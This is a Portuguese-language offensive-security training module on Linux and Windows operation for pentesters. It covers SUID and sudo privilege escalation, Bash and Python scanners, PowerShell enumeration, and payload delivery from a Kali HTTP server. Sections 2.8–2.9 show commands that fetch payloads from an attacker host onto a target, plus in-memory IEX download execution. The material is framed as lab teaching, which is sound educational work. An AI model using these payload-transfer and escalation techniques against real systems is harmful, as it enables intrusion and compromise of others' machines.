Sistemas & Pentest
18/08/2026
5 min read

MÓDULO 2 — Linux & Windows para Hacking: Operação, Permissões, PowerShell e Automação

Team Hacking78

Especialistas em Red Teaming

Resumo Executivo (TL;DR)

Domine a operação ofensiva em Linux e Windows: navegação crítica do Kali, permissões e SUID, enumeração com sudo -l, automação com Bash e Python, one-liners ofensivos no PowerShell e transferência de payloads.

MÓDULO 2 — Linux & Windows para Hacking: Operação, Permissões, PowerShell e Automação

O domínio dos sistemas operacionais Linux e Windows é o alicerce fundamental de qualquer operador de segurança ofensiva ou analista de Red Team. Entender a fundo a hierarquia de diretórios, o modelo de permissões, a manipulação de processos e a automação via scripts permite transformar acessos restritos em comprometimentos totais de infraestruturas.

Neste módulo prático, você aprenderá a operar o Kali Linux com máxima agilidade, identificar vetores de escalada de privilégios via permissões e binários SUID, dominar o PowerShell sob a perspectiva ofensiva e desenvolver suas primeiras ferramentas automatizadas em Bash e Python.

2.1 Estrutura de Diretórios do Linux (O que Realmente Importa)

No ecossistema Linux, tudo é tratado como arquivo. Durante um teste de invasão (pentest), certos diretórios e arquivos de configuração concentram a maior parte dos dados sensíveis e oportunidades de exploração:

  • /etc (Configurações do Sistema): Contém arquivos de configuração globais, credenciais de serviços, definições de rede e segurança.
  • /etc/passwd (Usuários do Sistema): Lista todos os usuários registrados no sistema, seus UIDs, GIDs e shells padrão. Leitura liberada para todos os usuários, sendo essencial para enumeração de contas locais.
  • /etc/shadow (Hashes de Senha): Contém os hashes criptográficos das senhas dos usuários. Apenas acessível pelo usuário root (ou processos com privilégios equivalentes) e é o alvo primordial em ataques de password cracking.
  • /var/log (Logs do Sistema e Aplicações): Registra eventos de autenticação (auth.log), logs do kernel (syslog), servidores web (nginx, apache2) e serviços. Fundamental para entender o comportamento do alvo ou analisar a própria pegada deixada no ambiente.
  • /tmp e /var/tmp (Arquivos Temporários): Diretórios temporários com permissão universal de escrita (world-writable). Utilizados frequentemente por atacantes para despejar payloads (drop payloads), compilar exploits e criar arquivos efêmeros.
  • /home (Diretórios de Usuários Comuns): Armazena arquivos pessoais, chaves SSH privadas (id_rsa), históricos de comandos (.bash_history) e credenciais esquecidas em pastas de usuários.
  • /root (Home do Administrador Root): Diretório restrito do superusuário. O objetivo final em cenários de escalada de privilégios local (LPE).
  • /usr/bin e /bin (Binários do Sistema): Armazenam os utilitários executáveis do sistema operacional. Alvos críticos para análise de permissões especiais e exploração de SUID.

Regra Mental Ofensiva Em qualquer exercício de invasão ou pós-exploração, /etc/passwd, /etc/shadow, /tmp e os binários com bit SUID são os quatro locais que você irá inspecionar dezenas de vezes.

2.2 Navegação e Manipulação Eficiente de Arquivos

A agilidade na linha de comando é um diferencial prático no pentest. Abaixo estão os comandos mais utilizados em enumerações manuais e auditorias:

bash
Hacking78 Snippet
# Identificação de contexto e listagem detalhada
pwd                     # Exibe o diretório atual de trabalho
ls -la                  # Lista todos os arquivos, incluindo ocultos (-a) com detalhes (-l)
cd /etc                 # Navega para o diretório alvo

# Leitura e inspeção de conteúdo
cat /etc/passwd         # Imprime o conteúdo completo do arquivo
less /etc/services      # Leitura paginada para arquivos extensos (pressione 'q' para sair)
head -n 20 arquivo.txt  # Exibe as 20 primeiras linhas
tail -f /var/log/syslog # Monitora atualizações no log em tempo real (follow mode)

# Filtro e busca de texto
grep -i "root" /etc/passwd   # Busca correspondências ignorando maiúsculas/minúsculas

# Localização avançada de arquivos e binários
find / -name "*.conf" 2>/dev/null        # Busca arquivos de configuração suprimindo erros de acesso
find / -perm -4000 -type f 2>/dev/null   # Localiza binários com bit SUID ativo no sistema

# Operações de arquivos e diretórios
cp origem.txt destino.txt   # Copia arquivos
mv antigo.sh novo.sh        # Move ou renomeia arquivos
rm -rf /tmp/payloads        # Remove arquivos e diretórios recursivamente sem confirmação
mkdir /tmp/workspace        # Cria novo diretório
touch payload.py            # Cria um arquivo vazio ou atualiza timestamp
chmod +x scan.sh            # Concede permissão de execução

Dica Ofensiva: O Redirecionamento 2>/dev/null O redirecionamento 2>/dev/null envia o canal de erro padrão (stderr) diretamente para o dispositivo nulo. Ao executar buscas como usuário não privilegiado, você receberá centenas de avisos de "Permission Denied". O 2>/dev/null limpa a saída e exibe apenas os arquivos que você realmente tem permissão de visualizar.

2.3 Permissões: A Chave da Escalação de Privilégios

O sistema de arquivos POSIX atribui permissões divididas em três categorias: Dono (User), Grupo (Group) e Outros (Others). Cada categoria possui direitos de Leitura (r = 4), Escrita (w = 2) e Execução (x = 1).

text
Hacking78 Snippet
-rwxr-xr--  1 root root  1234  ago  18 10:00 script.sh
  ↑  ↑  ↑
  |  |  └─ Outros (r--): 4 + 0 + 0 = 4 (apenas leitura)
  |  └──── Grupo (r-x): 4 + 0 + 1 = 5 (leitura e execução)
  └─────── Dono (rwx): 4 + 2 + 1 = 7 (leitura, escrita e execução)
bash
Hacking78 Snippet
# Ajustando permissões octais e propriedades
chmod 755 script.sh     # Dono: rwx (7) | Grupo: r-x (5) | Outros: r-x (5)
chmod 600 id_rsa        # Apenas o dono lê e escreve (obrigatório para chaves SSH privadas)
chmod +x exploit.sh     # Adiciona bit de execução para todos
chown root:root backup  # Altera dono e grupo do arquivo para root

O Conceito que Define o Módulo 11: SUID e Privilégios Especiais

O bit SUID (Set Owner User ID) permite que um executável rode temporariamente com os privilégios do dono do arquivo, e não com as permissões do usuário que o invocou.

bash
Hacking78 Snippet
# Verificando permissão SUID no comando passwd (observe o 's' nas permissões do dono)
ls -la /usr/bin/passwd
# Saída esperada: -rwsr-xr-x 1 root root 68208 ago 18 12:00 /usr/bin/passwd

Se um binário de propriedade do root possuir o bit SUID ativo e contiver falhas de segurança, comandos embutidos de shell ou permissão de escrita indevida, um atacante pode usá-lo para obter um shell instantâneo como root. A caça a binários SUID vulneráveis através de find / -perm -4000 -type f 2>/dev/null é um dos pilares de escalada local.

2.4 Enumeração de Usuários, Grupos e Sudo

Após obter acesso inicial em uma máquina Linux, a primeira ação é determinar seu nível de privilégio e descobrir permissões delegadas:

bash
Hacking78 Snippet
whoami              # Exibe o usuário atual da sessão
id                  # Exibe UID, GID e todos os grupos associados
sudo -l             # Lista os comandos que seu usuário pode executar via sudo (VETOR CRÍTICO!)
adduser operador    # Cria um novo usuário no sistema
usermod -aG sudo operador   # Insere o usuário no grupo com direitos administrativos
passwd operador     # Define nova senha
su - root           # Alterna a sessão para o usuário root
groups              # Exibe os grupos do usuário atual

Ouro no Pentest: sudo -l e Permissões NOPASSWD O comando sudo -l revela comandos autorizados no arquivo /etc/sudoers. Entradas permissivas como (ALL) NOPASSWD: /usr/bin/vim ou (ALL) NOPASSWD: /usr/bin/find permitem escapar para o terminal root imediatamente utilizando técnicas de GTFOBins.

2.5 Processos, Serviços e Sockets de Rede

Processos rodando com privilégios elevados (como serviços de banco de dados, servidores web ou scripts em cron jobs) representam superfícies de ataque diretas:

bash
Hacking78 Snippet
ps aux                  # Lista todos os processos em execução no sistema
ps aux | grep apache2   # Filtra processos específicos do Apache
top / htop              # Monitor de recursos e processos interativo em tempo real
kill -9 1337            # Envia sinal SIGKILL forçando o encerramento do processo pelo PID
systemctl status ssh    # Verifica o status operacional do daemon OpenSSH
systemctl restart ssh   # Reinicia o serviço de SSH
ss -tulpn               # Lista sockets TCP/UDP abertos, portas em escuta e PIDs associados
  • Por que isso importa na invasão? Se um processo com privilégio root escuta em uma porta interna (127.0.0.1) ou processa arquivos de diretórios compartilhados (/tmp), ele pode ser explorado localmente para obter execução de código administrativo.

2.6 Bash Scripting: Sua Primeira Automação Ofensiva

A criação de scripts em Bash permite automatizar rotinas repetitivas durante o reconhecimento interno de redes e testes de penetração.

Criando um Ping Sweeper Multithread

O script abaixo varre uma sub-rede /24 identificando máquinas ativas em paralelo:

bash
Hacking78 Snippet
#!/bin/bash
# script: ping_sweep.sh — Varredura paralela de hosts ativos

rede="192.168.56"
echo "[*] Iniciando descoberta de hosts na rede $rede.0/24..."

for i in $(seq 1 254); do
    (ping -c 1 -W 1 $rede.$i &>/dev/null && echo "[+] Host ativo encontrado: $rede.$i") &
done

wait
echo "[*] Varredura de rede concluída."
  • #!/bin/bash: Shebang que instrui o kernel a usar o interpretador Bash.
  • for i in $(seq 1 254): Itera sequencialmente pelos endereços de 1 até 254.
  • &>/dev/null: Redireciona stdout e stderr para descarte, mantendo apenas a validação lógica.
  • &&: Executa a mensagem formatada apenas caso o ping retorne sucesso (exit code 0).
  • &: Executa o processo em segundo plano (background job), permitindo varrer 254 IPs simultaneamente em segundos.
  • wait: Bloqueia o script até que todos os subprocessos em background finalizem.

Manipulação de Argumentos e Códigos de Retorno

bash
Hacking78 Snippet
#!/bin/bash
# script: host_check.sh — Verificação pontual com tratamento de argumentos

alvo="$1"

if [ -z "$alvo" ]; then
    echo "[-] Erro: Endereço IP ou hostname não fornecido."
    echo "Uso: $0 <ip-do-alvo>"
    exit 1
fi

ping -c 1 "$alvo" &>/dev/null
if [ $? -eq 0 ]; then
    echo "[+] O alvo $alvo está ONLINE e respondendo a ICMP."
else
    echo "[-] O alvo $alvo está INACESSÍVEL ou bloqueando pacotes ICMP."
fi

Exercício Prático 2.6: Ping & Scan Automatizado Escreva um script Bash que receba um endereço IP como argumento, valide se o host está ativo via ICMP e, em caso positivo, execute automaticamente um scan básico com nmap -p 22,80,443 -sV <alvo>. Execute o teste contra o laboratório Metasploitable.

2.7 Python para Hacking: Sockets e Varredura TCP

Python é uma das linguagens mais adotadas no desenvolvimento de exploits, ferramentas e scanners customizados devido à sua legibilidade e vasta biblioteca padrão.

Abaixo está a implementação de um port scanner TCP básico utilizando sockets puros:

python
Hacking78 Snippet
#!/usr/bin/env python3
# script: portscan.py — Scanner de portas TCP com biblioteca socket

import socket
import sys

def scan_port(host, port):
    # Cria socket IPv4 (AF_INET) e TCP (SOCK_STREAM)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1.0) # Define timeout de 1 segundo para evitar travamentos
    try:
        resultado = s.connect_ex((host, port))
        if resultado == 0:
            print(f"[+] Porta {port:5d}/TCP: ABERTA")
            s.close()
            return True
        s.close()
        return False
    except socket.error as err:
        print(f"[-] Erro ao conectar na porta {port}: {err}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("[-] Uso incorreto.")
        print(f"Sintaxe: python3 {sys.argv[0]} <ip-do-alvo>")
        sys.exit(1)

    alvo = sys.argv[1]
    portas_comuns = [21, 22, 23, 25, 53, 80, 110, 139, 443, 445, 1433, 3306, 3389, 8080]

    print(f"[*] Iniciando varredura de portas no alvo: {alvo}")
    print("-" * 50)
    for porta in portas_comuns:
        scan_port(alvo, porta)
    print("-" * 50)
    print("[*] Varredura concluída com sucesso.")
  • socket(AF_INET, SOCK_STREAM): Cria a abstração de socket TCP/IP.
  • connect_ex(): Retorna 0 em caso de sucesso (conexão estabelecida com handshake SYN-ACK) e códigos de erro padrão em caso de recusa (RST) ou porta filtrada.
  • settimeout(1.0): Impede que o scanner fique travado indefinidamente aguardando resposta de hosts com firewall ativo.

Exercício Prático 2.7: Port Scanner Customizado Execute o script contra a máquina Metasploitable e compare o tempo e acurácia com os resultados do Nmap. Modifique o script para aceitar uma lista personalizada de portas ou uma faixa (range) via linha de comando.

2.8 Windows & PowerShell: O Lado Ofensivo

Em ambientes corporativos, a vasta maioria das estações de trabalho e controladores de domínio roda sob ecossistema Microsoft Windows. O PowerShell é o utilitário nativo mais poderoso para operações de Red Team e pós-exploração Living off the Land (LotL).

Comandos Essenciais de Enumeração

powershell
Hacking78 Snippet
# Identificação de usuário e privilégios
whoami                      # Identifica o usuário e domínio atual
whoami /priv                # Lista privilégios especiais do token (ex: SeImpersonatePrivilege, SeDebugPrivilege)

# Informações do sistema operacional e patches
systeminfo                  # Exibe versão detalhada do OS, arquitetura e hotfixes/KBs instalados

# Enumeração de contas e grupos
net user                    # Lista todos os usuários locais
net user administrador      # Detalha propriedades e último logon do usuário especificado
net localgroup Administrators # Lista os membros do grupo de administradores locais
net group "Domain Admins" /domain # Lista administradores de domínio no Active Directory

# Processos, serviços e rede
Get-Process                 # Lista processos ativos (equivalente moderno ao ps aux)
Get-Service                 # Lista serviços registrados e seu status (Running/Stopped)
ipconfig /all               # Configuração detalhada de adaptadores de rede, DNS e gateway
Get-ChildItem -Force        # Lista arquivos e diretórios ocultos (equivalente ao ls -la)
Get-Content secrets.txt     # Exibe o conteúdo de arquivos (equivalente ao cat)

# Política de execução de scripts
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process # Permite execução de scripts sem restrições na sessão atual

One-Liner de Reconhecimento Rápido

Para coletar inteligência inicial em poucos segundos sem gravar ferramentas no disco da máquina alvo:

powershell
Hacking78 Snippet
# One-liner de enumeração completa de sessão, privilégios, rede e OS
whoami; whoami /priv; ipconfig /all; systeminfo | findstr /B /C:"OS Name" /C:"OS Version"; net user

Transferência de Payloads com Invoke-WebRequest

O PowerShell permite realizar o download de binários, executáveis e scripts diretamente para o sistema alvo:

powershell
Hacking78 Snippet
# Sintaxe canônica
Invoke-WebRequest -Uri "http://192.168.56.101:8080/payload.exe" -OutFile "C:\Windows\Temp\payload.exe"

# Forma abreviada rápida
iwr http://192.168.56.101:8080/payload.exe -OutFile C:\Windows\Temp\payload.exe

Por que o PowerShell é Tão Poderoso para Red Teams

  • Ferramenta Nativa (LotL): Já está instalada por padrão no Windows 7, 8, 10, 11 e Windows Server, eliminando a necessidade de transferir compiladores ou executáveis suspeitos.
  • Execução em Memória: Permite baixar e executar scripts diretamente na memória RAM (ex: IEX (New-Object Net.WebClient).DownloadString(...)) sem salvar arquivos no disco rígido, reduzindo alertas de antivírus tradicionais.
  • Integração Profunda com .NET: Permite invocar classes e métodos da API do Windows (Win32 API) via Add-Type, manipular tokens de acesso e interagir diretamente com o subsistema do Windows.

2.9 Servidor HTTP no Kali para Entrega de Payloads

Durante testes de invasão em redes locais ou ambientes de laboratório, hospedar arquivos rapidamente no Kali Linux para que as máquinas vítimas possam baixá-los é uma rotina constante:

bash
Hacking78 Snippet
# 1. Navegue até o diretório onde estão seus scripts ou payloads
mkdir -p /tmp/payloads
cd /tmp/payloads

# 2. Inicie o servidor HTTP integrado do Python na porta desejada (ex: 8080)
python3 -m http.server 8080

Como Baixar o Payload no Alvo Comprometido: - No alvo Windows:

powershell
Hacking78 Snippet
  iwr http://IP_KALI:8080/payload.exe -OutFile C:\Windows\Temp\payload.exe
  • No alvo Linux:
bash
Hacking78 Snippet
  wget http://IP_KALI:8080/exploit.sh -O /tmp/exploit.sh
  # ou via curl
  curl http://IP_KALI:8080/exploit.sh -o /tmp/exploit.sh
  • Atenção ao Firewall do Kali: Se o alvo não conseguir baixar o arquivo, verifique se a porta não está bloqueada pelo ufw ou iptables no Kali executando sudo ufw status ou sudo iptables -L.

2.10 Atividade Prática e Desafio do Módulo 2

Realize os passos a seguir no seu ambiente de laboratório para fixar todos os conceitos abordados:

  • 1. Gestão de Usuários e Sudo: No Kali Linux, crie um usuário chamado hacker, defina uma senha forte, adicione-o ao grupo sudo e valide o funcionamento com sudo -l.
  • 2. Varredura com Bash: Execute o script ping_sweep.sh desenvolvido na seção 2.6 contra o segmento de rede 192.168.56.0/24.
  • 3. Varredura com Python: Execute o scanner TCP em Python contra a máquina Metasploitable e compare o relatório de portas abertas com a saída do Nmap.
  • 4. Transferência de Arquivos: Suba o servidor com python3 -m http.server 8080 no Kali e realize o download de um arquivo de teste a partir do Metasploitable via wget.

Desafio Integrado de Automação Desenvolva um script de automação que execute a descoberta de hosts ativos na rede local e, para cada host detectado, dispare automaticamente o scanner de portas em Python, salvando o relatório consolidado em um arquivo resultado.txt.

Checklist de Conclusão do Módulo 2 - Navegação fluida no sistema de arquivos Linux (ls, find, grep, chmod, chown). - Domínio do cálculo de permissões numéricas e identificação de binários com bit SUID. - Enumeração de privilégios e permissões sudo com sudo -l, id e leitura de /etc/passwd. - Gerenciamento de processos e sockets de rede (ps aux, ss -tulpn, systemctl). - Criação de scripts em Bash utilizando loops, condicionais, background jobs e argumentos. - Criação de scanners TCP em Python utilizando a biblioteca socket. - Conhecimento prático dos comandos ofensivos do PowerShell no Windows. - Capacidade de hospedar e transferir arquivos e payloads entre Kali e alvos.

📌
Resumo Prático: A fluência na linha de comando Linux, a compreensão estrutural de permissões e privilégios no Windows/Linux e a capacidade de escrever scripts rápidos em Bash e Python formam a tríade essencial que separa usuários comuns de operadores de segurança ofensiva de alta performance.

Perguntas Frequentes (FAQ)

Por que o arquivo /etc/shadow não pode ser lido por usuários comuns no Linux?

O arquivo /etc/shadow armazena os hashes criptográficos das senhas dos usuários do sistema. Se usuários comuns tivessem permissão de leitura, poderiam extrair esses hashes e executar ataques de quebra de senha offline (como força bruta ou dicionário com ferramentas como Hashcat ou John the Ripper).

O que é o bit SUID e como ele pode ser explorado para escalada de privilégios?

O SUID (Set Owner User ID) é uma permissão especial que faz com que um binário seja executado com os privilégios do seu proprietário, e não do usuário que o invocou. Se um binário pertencente ao root tiver falhas, funcionalidades de escape para shell ou permissão indevida de escrita, um usuário comum pode manipulá-lo para obter um shell com privilégios de root.

Qual a vantagem de usar o PowerShell em vez de ferramentas externas em testes no Windows?

O PowerShell é um utilitário nativo e confiável presente em todas as versões modernas do Windows (técnica conhecida como Living off the Land - LotL). Seu uso reduz alertas de soluções antivírus/EDR, dispensa uploads suspeitos de executáveis e permite a execução de scripts e payloads diretamente na memória RAM.

Como o redirecionamento 2>/dev/null auxilia durante a enumeração manual no Linux?

O descritor de arquivo 2 representa a saída de erro padrão (stderr). Ao direcioná-la para /dev/null com 2>/dev/null, todos os erros de 'Permissão Negada' (Permission Denied) gerados durante buscas no sistema são descartados, apresentando na tela apenas os resultados que o operador tem permissão legítima de acessar.

Por que a enumeração de processos e portas abertas (ss -tulpn) é prioritária pós-acesso?

Serviços rodando localmente (em 127.0.0.1) ou como root frequentemente contêm vulnerabilidades ou configurações permissivas que não estavam expostas para a rede externa. Identificar esses processos e portas locais revela vetores imediatos para escalada de privilégios e movimentação lateral.